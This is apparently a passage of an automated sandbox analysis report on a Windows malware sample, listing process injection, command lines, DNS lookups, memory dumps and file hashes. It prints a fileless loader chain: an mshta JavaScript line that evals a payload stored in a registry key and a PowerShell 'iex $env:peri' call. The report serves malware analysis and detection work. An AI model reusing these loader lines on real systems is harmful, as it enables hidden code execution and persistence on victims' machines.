PID 2728 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe
PID 776 wrote to memory of 1796 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 776 wrote to memory of 1796 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 776 wrote to memory of 1796 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b816369b655826e66fde3618f30a545c_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:c5IxxgTgy0="LzcJl";kv4=new%20ActiveXObject("WScript.Shell");WhLUqXCB4="ta";wc9YT=kv4.RegRead("HKLM\\software\\Wow6432Node\\INU9SKJ7i1\\at8STe");oikfRI4="I9JfX";eval(wc9YT);IFmcv4E2Io="p";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:peri

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4312,i,3833046924978547022,12404847742964713612,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
NL 23.62.61.99:443 www.bing.com tcp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 198.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 99.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 71.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 31.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/552-4-0x0000000000400000-0x0000000000439000-memory.dmp

memory/552-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/552-5-0x0000000000400000-0x0000000000439000-memory.dmp

memory/552-6-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-8-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-10-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-9-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-7-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-11-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/552-12-0x00000000009A0000-0x0000000000A74000-memory.dmp

memory/1796-14-0x0000000002F50000-0x0000000002F86000-memory.dmp

memory/1796-15-0x0000000005A70000-0x0000000006098000-memory.dmp

memory/1796-16-0x0000000005890000-0x00000000058B2000-memory.dmp

memory/1796-17-0x0000000005930000-0x0000000005996000-memory.dmp

memory/1796-18-0x0000000006110000-0x0000000006176000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yd2ae3a.kjs.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1796-28-0x0000000006180000-0x00000000064D4000-memory.dmp

memory/1796-29-0x0000000006630000-0x000000000664E000-memory.dmp

memory/1796-30-0x0000000006680000-0x00000000066CC000-memory.dmp

memory/1796-31-0x0000000007E90000-0x000000000850A000-memory.dmp

memory/1796-32-0x0000000006B50000-0x0000000006B6A000-memory.dmp